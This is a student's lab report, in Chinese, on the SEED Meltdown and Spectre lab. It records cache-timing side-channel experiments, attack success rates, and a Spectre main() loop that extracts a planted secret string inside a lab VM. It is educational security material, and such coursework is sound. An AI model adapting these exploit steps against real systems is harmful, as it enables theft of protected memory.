

Lab6 Spectre & Meltdown

Meltdown Attack

Task1 Reading from Cache versus from Memory

Meltdown 攻击的关键之一在于 **cache 读与内存读的速度区别**，我们可以通过一个程序来观察这一点。注意 **cache** 的缓存是以一个 **cache block** 为单位进行的，这通常是64字节，即一次缓存至少会一次性缓存64个字节进入 **cache**。此外CPU还有预取机制（**pre-fetch**），也就是说一次缓存大小可能是好几个 **cache block**。保险起见我们以4096个字节为单位进行测试，即访问下标为 $0 * 4096, 1 * 4096 \dots$ 位置的元素。实验结果如下：

```
[10/28/24]seed@VM:~/Meltdown$ gcc -march=native CacheTime.c
[10/28/24]seed@VM:~/Meltdown$ ls
a.out      ExceptionHandling.c  Makefile      MeltdownExperiment.c
CacheTime.c FlushReload.c        MeltdownAttack.c MeltdownKernel.c
[10/28/24]seed@VM:~/Meltdown$ ./a.out
Access time for array[0*4096]: 4222 CPU cycles
Access time for array[1*4096]: 390 CPU cycles
Access time for array[2*4096]: 352 CPU cycles
Access time for array[3*4096]: 74 CPU cycles
Access time for array[4*4096]: 346 CPU cycles
Access time for array[5*4096]: 320 CPU cycles
Access time for array[6*4096]: 356 CPU cycles
Access time for array[7*4096]: 82 CPU cycles
Access time for array[8*4096]: 350 CPU cycles
Access time for array[9*4096]: 336 CPU cycles
```

从图中我们可以看到，当访问的下标为 $3 * 4096$ 和 $7 * 4096$ 时，读取速度是最快的（低于100个时钟周期），远快于其他位置的读取（300个时钟周期以上），这说明这两个元素所在的 **block** 正处于 **cache** 中。

Task2 Using Cache as a Side Channel

从 Task 1 中可知，我们通过访存的速度可以推断哪一个块处在 **cache** 中。这可以用于进行 **side channel** 攻击，即 **利用非预期的信息泄露来窃取信息**。我们可以通过一个程序来观察这一点，假设有一个未知的变量 **secret**，受害者访问且仅访问了下标为 $\text{array}[\text{secret} * 4096 + \text{DELTA}]$ 。首先将 **cache** 中存储的信息清零，然后受害者进行读取，此时通过遍历数组 **array**，就可以根据访问时间推断出 **secret** 的值。实验结果如下：

```
[10/28/24]seed@VM:~/Meltdown$ ./task2
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/28/24]seed@VM:~/Meltdown$
```

但是这一攻击也不总是能成功，我们设置读取时长的阈值，如果低于这个阈值则说明存在于 **cache** 中。那么这个阈值的设置就是非常关键的，如果过高可能出现假阳性，过低则有可能导致攻击失败。我们编写 **python** 脚本，自动进行 20 次攻击并统计成功率。此后分别将阈值设置为 80 和 100。实验结果如下，可以观察到阈值放宽为 100 的时候成功率明显提升：

```
[10/28/24]seed@VM:~/Meltdown$ python runTask2.py
('Run', 20, 'times, success', 6, 'times')
[10/28/24]seed@VM:~/Meltdown$ python runTask2.py
('Run', 20, 'times, success', 12, 'times')
[10/28/24]seed@VM:~/Meltdown$
```

Task3 Place Secret Data in Kernel Space

我们运行程序，在内核空间中存放一个秘密变量 **secret**，这里给出其存放的地址，为 **0xf90d2000**。接下来我们的目标就是获取这个地址中存储的 **secret** 值。

```
[10/28/24]seed@VM:~/Meltdown$ sudo insmod MeltdownKernel.ko
[10/28/24]seed@VM:~/Meltdown$ dmesg | grep 'secret data address'
[256415.942350] secret data address:f90d2000
[10/28/24]seed@VM:~/Meltdown$
```

Task4 Access Kernel Memory from User Space

Meltdown 攻击的目的是获取受害者机器的 **内核空间** 的数据，但是我们实际上无法在用户态直接读取内核空间数据，这将会触发段错误并终止程序，如下：

```
[10/28/24]seed@VM:~/Meltdown$ gcc -march=native task4.c -o task4
[10/28/24]seed@VM:~/Meltdown$ ./task4
Segmentation fault
[10/28/24]seed@VM:~/Meltdown$
```

Task5 Handle Error/Exceptions in C

C语言中并未直接提供了其他高级语言中的异常处理机制，因此我们需要自己编写，使得程序在访问内核空间数据时触发段错误时，程序会跳转到异常处理程序中继续执行而非直接终止。方法是使用 `sigsetjmp` 与 `siglongjmp` 函数，前者用于保存当前程序的上下文并做标记，后者用于跳转到 `sigsetjmp` 所做标记处，恢复保存的程序的上下文并继续执行。

段错误出现时模块间是使用 **信号机制** 进行通信，段错误对应的信号是 `SIGSEGV`，我们需要在这个信号上注册一个处理函数，调用 `siglongjmp`，这样就能够实现等同于 `try...catch...` 的效果，框架如下：

```
static void catch_segv(){siglongjmp(jbuf, 1);}

Signal(SIGSEGV, catch_segv); // 注册信号对应的处理函数

if(sigsetjmp(jbuf, 1) == 0){
    // as try
}else{
    // as catch
}
```

运行截图如下，可以看出确实成功捕获并处理了段错误异常：

```
[10/29/24]seed@VM:~/Meltdown$ gcc -march=native -o task5 ExceptionHandling.c
[10/29/24]seed@VM:~/Meltdown$ ls
a.out          FlushReload.c  MeltdownExperiment.c  MeltdownKernel.mod.c  m
CacheTime.c    Makefile       MeltdownKernel.c      MeltdownKernel.mod.o  M
ExceptionHandling.c  MeltdownAttack.c  MeltdownKernel.ko     MeltdownKernel.o      r
[10/29/24]seed@VM:~/Meltdown$ ./task5
Memory access violation!
Program continues to execute.
[10/29/24]seed@VM:~/Meltdown$
```

Task6 Out-of-Order Execution by CPU

取值指令实际上分为两步，1将内存值读取到寄存器中，2检查这个地址是否有权限读取，若无权限则回滚。如果在正常的执行顺序下，程序在读取到内核地址的值的时候就会崩溃，更无法执行下一步，即读取 **以该值作为下标** 的 `array` 中的元素。但是现代 CPU 具有 **乱序执行** 的特性，即 **指令的执行顺序与指令的书写顺序不一定一致**。这就使得在导致异常的指令之后的一些代码仍能够被执行。比如我们的程序在读取内核地址的值之后，立即读取 `array[7 * 4096 + DELTA]` 中的元素，结果显示这一条指令仍然能够执行，如图：

```
[10/29/24]seed@VM:~/Meltdown$ gcc -march=native MeltdownExperiment.c -o task6
[10/29/24]seed@VM:~/Meltdown$ ./task6
Memory access violation!
array[7*4096 + 1024] is in cache.
The Secret = 7.
[10/29/24]seed@VM:~/Meltdown$
```

Task 7 The Basic Meltdown Attack

现在开始正式进行 **Meltdown** 的攻击，最直接的手段就是在读取内核地址的值 **secret** 之后，立即尝试读取 **array[secret * 4096 + DELTA]** 中的元素，希望在 **CPU** 进行权限检查之前能够执行这条语句，但是结果表明，这种直接的攻击是不会成功的，如图：

```
[10/29/24]seed@VM:~/Meltdown$ gcc -march=native MeltdownExperiment.c -o task7_1
[10/29/24]seed@VM:~/Meltdown$ ./task7_1
Memory access violation!
[10/29/24]seed@VM:~/Meltdown$ ./task7_1
Memory access violation!
[10/29/24]seed@VM:~/Meltdown$ ./task7_1
Memory access violation!
[10/29/24]seed@VM:~/Meltdown$
```

有一种可能，读取 **secret** 的过程太慢了，导致在成功读取之前 **CPU** 就已经完成了权限检查，导致根本就不会真正读取。我们如果可以保证 **secret** 的值一定位于 **cache** 中，就可以解决这一问题。在 **task3** 中，内核模块访问了 **secret**，不过并没有暴露它，但是副作用就是将 **secret**（所在的 **block**）放入了 **cache** 中。

```
[10/29/24]seed@VM:~/Meltdown$ [10/29/24]seed@VM:~/Meltdown$ gcc -march=native MeltdownExperiment.c -o task7_2
[10/29/24]seed@VM:~/Meltdown$ ./task7_2
Memory access violation!
[10/29/24]seed@VM:~/Meltdown$ ./task7_2
Memory access violation!
[10/29/24]seed@VM:~/Meltdown$ ./task7_2
Memory access violation!
[10/29/24]seed@VM:~/Meltdown$ ./task7_2
Memory access violation!
[10/29/24]seed@VM:~/Meltdown$
```

如图，攻击仍然是失败的。

除了减小 **load secret** 的时间，还可以改进的一个点是增大 **load secret** 与权限检查之间的时间。具体而言可以在其中塞入一些无意义的计算，因为权限检查的优先级是比较低的，很有可能会被计算指令抢先。在C代码中嵌入了一些汇编，作用是循环400次不断向某个寄存器中加上一个值。我们可以调整循环的次数，观察情况。

与预期不同，在我们减少循环执行的次数的时候，攻击的成功率却提升了，而增大循环次数却将导致攻击失败。其中的原因个人猜测可能是因为汇编块可能会 **被作为一个整体** 进行执行，所以太大的块反而会因为无法嵌入取值和权限检查之间而导致攻击失败。在将循环次数降低为200之后，攻击成功了：

```
[10/29/24]seed@VM:~/Meltdown$ gcc -march=native MeltdownExperiment.c -o task7_3
[10/29/24]seed@VM:~/Meltdown$ ./task7_3
Memory access violation!
array[0*4096 + 1024] is in cache.
The Secret = 0.
[10/29/24]seed@VM:~/Meltdown$ ./task7_3
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/29/24]seed@VM:~/Meltdown$
```

同样仿照 **task2** 中的做法，连续攻击统计成功率，可以看到在较严格的时间阈值下成功率较低，但是攻击成功时得到的结果更加准确，而较高的时间阈值在带来较高成功率的同时也降低了攻击质量：

```

Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
('Run ', 20, ' times, success ', 5, ' times')
[10/29/24]seed@VM:~/Meltdown$

```

```

Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[0*4096 + 1024] is in cache.
The Secret = 0.
Memory access violation!
array[0*4096 + 1024] is in cache.
The Secret = 0.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
('Run ', 20, ' times, success ', 13, ' times')
[10/29/24]seed@VM:~/Meltdown$

```

Task 8: Make the Attack More Practical

在 **task7** 中，我们发现攻击的成功率和攻击的质量之间呈现负相关的关系，如何在保证攻击成功率的同时提升攻击质量呢。我们不妨多次实验取 **最可信的结果**，执行1000次，统计其中 **最多次** 被认定为 **secret** 的值，实验结果如下：

```
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
Memory access violation!
The secret value is 83 S
The number of hits is 995
[10/29/24]seed@VM: ~/Meltdown$
```

Spectre Attack

Task3

直接运行程序，观察到攻击有一定概率成功进行，如下：

```
[10/29/24]seed@VM:~/spectre$ gcc -march=native SpectreExperiment.c -o task3
[10/29/24]seed@VM:~/spectre$ ./task3
[10/29/24]seed@VM:~/spectre$ ./task3
array[97*4096 + 1024] is in cache.
The Secret = 97.
[10/29/24]seed@VM:~/spectre$ ./task3
[10/29/24]seed@VM:~/spectre$ ./task3
[10/29/24]seed@VM:~/spectre$ ./task3
[10/29/24]seed@VM:~/spectre$ ./task3
array[97*4096 + 1024] is in cache.
The Secret = 97.
[10/29/24]seed@VM:~/spectre$ ./task3
[10/29/24]seed@VM:~/spectre$ ./task3
[10/29/24]seed@VM:~/spectre$ ./task3
[10/29/24]seed@VM:~/spectre$ ./task3
array[97*4096 + 1024] is in cache.
The Secret = 97.
[10/29/24]seed@VM:~/spectre$
```

1. 如果将攻击前 **刷新cache** 的命令去掉，攻击将无法进行。这是因为如果允许 **size** 留在 **cache** 中，那么 **条件判断语句的执行速度** 将会很快，此时后面的指令就无需提前执行，导致攻击失败。如图：

```

[10/29/24] seed@VM: ~/spectre$ vim SpectreExperiment.c
[10/29/24] seed@VM: ~/spectre$ gcc -march=native SpectreExperiment.c -o task3_1
[10/29/24] seed@VM: ~/spectre$ ./task3_1
[10/29/24] seed@VM: ~/spectre$ ./task3_1
[10/29/24] seed@VM: ~/spectre$ ./task3_1
[10/29/24] seed@VM: ~/spectre$

```

2. 将训练CPU分支预测过程修改为越界访问，攻击同样无法进行。这是因为此时CPU被训练为 **总是分支到越界情况**，故更不可能提前执行正常情形的指令，导致攻击失败。如图：

```
[10/29/24] seed@VM: ~/spectre$ ./task3_2
[10/29/24] seed@VM: ~/spectre$ vim SpectreExperiment.c
[10/29/24] seed@VM: ~/spectre$ gcc -march=native SpectreExperiment.c -o task3_2
[10/29/24] seed@VM: ~/spectre$ ./task3_2
[10/29/24] seed@VM: ~/spectre$ ./task3_2
[10/29/24] seed@VM: ~/spectre$ ./task3_2
[10/29/24] seed@VM: ~/spectre$
```

Task4 The Spectre Attack

Spectre 攻击是利用CPU的分支预测与乱序执行，当 **分支条件判断比较耗时**（如涉及到内存读写），CPU可能会先进行此后的一些语句，而这些语句有可能包含非法的内存访问。尽管最终会回退，但是 **cache** 中仍然留存了这些数据，使得攻击者可以实施 **side channel** 攻击。执行程序，观察到有概率成功进行攻击，如下：

```
[10/30/24]seed@VM: /spectre$ gcc -march=native SpectreAttack.c -o task4
SpectreAttack.c: In function 'main':
SpectreAttack.c:76:10: warning: format '%ld' expects argument of type
aka unsigned int)' [-Wformat=]
    printf("index of secret (out of bound): %ld \n", index_beyond);

[10/30/24]seed@VM: ~/spectre$ ./task4
secret: 0x80487a0
buffer: 0x804a024
index of secret (out of bound): -6276
array[83*4096 + 1024] is in cache.
The Secret = 83(S).

[10/30/24]seed@VM: ~/spectre$ ./task4
secret: 0x80487a0
buffer: 0x804a024
index of secret (out of bound): -6276
array[83*4096 + 1024] is in cache.
The Secret = 83(S).

[10/30/24]seed@VM: ~/spectre$ ./task4
secret: 0x80487a0
buffer: 0x804a024
index of secret (out of bound): -6276
```

Task5 Improve the Attack Accuracy

与 Meltdown 攻击的改进类似，我们可以 **增加攻击次数** 并选取出现最频繁的结果作为置信。

```
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
*****  
Reading secret value at index -6012  
The secret value is 0()  
The number of hits is 950  
[10/30/24]seed@VM:~/spectre$
```

1. 执行1000次攻击，有相当大的概率得到 0，但是我们直到这是错误的结果。之所以会这样，是因为此时的 Spectre 攻击实际上失败了，程序捕捉到了分支条件的越界并正确返回。既然我们直到结果非零，那么就可以通过对于返回值的判断，只有在 **返回值非0** 的情况下才访问 `array` 中的元素，避免出现 **假阳性**。改进后测试，有较大的概率得到正确的结果：

```
*****
*****
*****
*****
*****
*****
Reading secret value at index -6012
The secret value is 83(S)
The number of hits is 2
[10/30/24]seed@VM:~/spectre$
```

2. 在 SEED Ubuntu 16.04 VM 的机子上, `printf("*****")` 这一句是可有可无的, 但是在 SEED Ubuntu 20.04 VM 上, 这一句是必须的, 否则会导致攻击失败。将其注释掉后测试, 结果如图:

```
[10/30/24]seed@VM:~/spectre$ ./task5_3
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 5
[10/30/24]seed@VM:~/spectre$ ./task5_3
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 2
[10/30/24]seed@VM:~/spectre$ ./task5_3
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 1
[10/30/24]seed@VM:~/spectre$ ./task5_3
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 7
```

3. 在实施攻击和使用 `side channel` 攻击的过程中, 程序暂停了10毫秒, 这个休眠的时长与攻击的成功率之间存在着一定的关系, 我们尝试了 **无休眠, 5毫秒, 10毫秒, 20毫秒, 30毫秒和100毫秒**, 观察结果:

```
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6132
The secret value is 83(S)
The number of hits is 3
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6132
The secret value is 83(S)
The number of hits is 2
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6132
The secret value is 83(S)
The number of hits is 2
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6132
The secret value is 83(S)
The number of hits is 2
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6132
The secret value is 83(S)
The number of hits is 3
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6132
The secret value is 0()
The number of hits is 0
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 9
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 1
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 0()
The number of hits is 0
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 4
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 6
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 0()
The number of hits is 0
[10/30/24]seed@VM:~/spectre$
```

```
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 17
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 2
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 0()
The number of hits is 0
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 9
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 0()
The number of hits is 0
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 0()
The number of hits is 0
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 7
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 0()
The number of hits is 0
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 31
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 11
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 0()
The number of hits is 0
[10/30/24]seed@VM:~/spectre$
```

```
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 0()
The number of hits is 0
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 7
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 8
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 1
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 11
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 3
[10/30/24]seed@VM:~/spectre$
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 2
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 1
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 3
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 0()
The number of hits is 0
[10/30/24]seed@VM:~/spectre$ ./task5_4
Reading secret value at index -6072
The secret value is 83(S)
The number of hits is 2
```

我们比较几种休眠时间下的 **命中数均值**，分别是 2.00，3.34，5.60，8.17，5.00 和 1.60，是一个先升后降的过程，在20毫秒的时候平均值最高，甚至出现了每千次命中 31 次的情况。但是此时也十分不稳定，6次实验中有3次没有得到结果。在攻击中更加重要的是 **攻击的成功率**，在这种情况下 **30毫秒** 甚至更高的休眠时间是更优的，30毫秒时6次攻击只有一次失败。

Task 6: Steal the Entire Secret String

在 task5 中，我们已经能够获取到 `secret` 中的首个元素的值，接下来我们就可以仿照它获取 `secret` 的完整信息。以此前的实验为辅助函数，循环攻击 `secret` 的各个位置的元素，直至到达末尾的终止符。倘若某一位的攻击失败，则索引减一，重复进行。实验代码截图与结果如下，成功窃取 `secret` 中的所有元素：

```
int main()
{
    int i, loop;
    uint8_t s;
    size_t index_beyond = (size_t)(secret - (char*)buffer);
    char ans[20];
    for(loop = 0; secret[loop]; loop++){
        index_beyond = (size_t)(secret - (char*)buffer) + loop;

        flushSideChannel();
        for(i=0; i<256; i++) scores[i]=0;

        for (i = 0; i < 1000; i++) {
            //printf("*****\n"); // This seemingly "useless" line is necessary
            spectreAttack(index_beyond);
            usleep(20);
            reloadSideChannelImproved();
        }

        int max = 0;
        for (i = 0; i < 256; i++){
            if(scores[max] < scores[i]) max = i;
        }

        printf("Reading secret value at index %d\n", index_beyond);
        printf("The secret value is %d(%c)\n", max, max);
        printf("The number of hits is %d\n", scores[max]);
        if(max != 0)
            ans[loop] = max;
        else
            loop--;
        //ans[loop] = '*';
    }
    ans[loop] = '\0';
    printf("\nMy answer for secret is: %s\n", ans);
    return (0);
}
```

```
Reading secret value at index -5918
The secret value is 116(t)
The number of hits is 3
Reading secret value at index -5917
The secret value is 32( )
The number of hits is 3
Reading secret value at index -5916
The secret value is 0()
The number of hits is 1
Reading secret value at index -5916
The secret value is 86(V)
The number of hits is 4
Reading secret value at index -5915
The secret value is 97(a)
The number of hits is 8
Reading secret value at index -5914
The secret value is 108(l)
The number of hits is 6
Reading secret value at index -5913
The secret value is 117(u)
The number of hits is 2
Reading secret value at index -5912
The secret value is 101(e)
The number of hits is 4

My answer for secret is: Some Secret Value
[10/30/24]seed@VM: ~/spectre$
```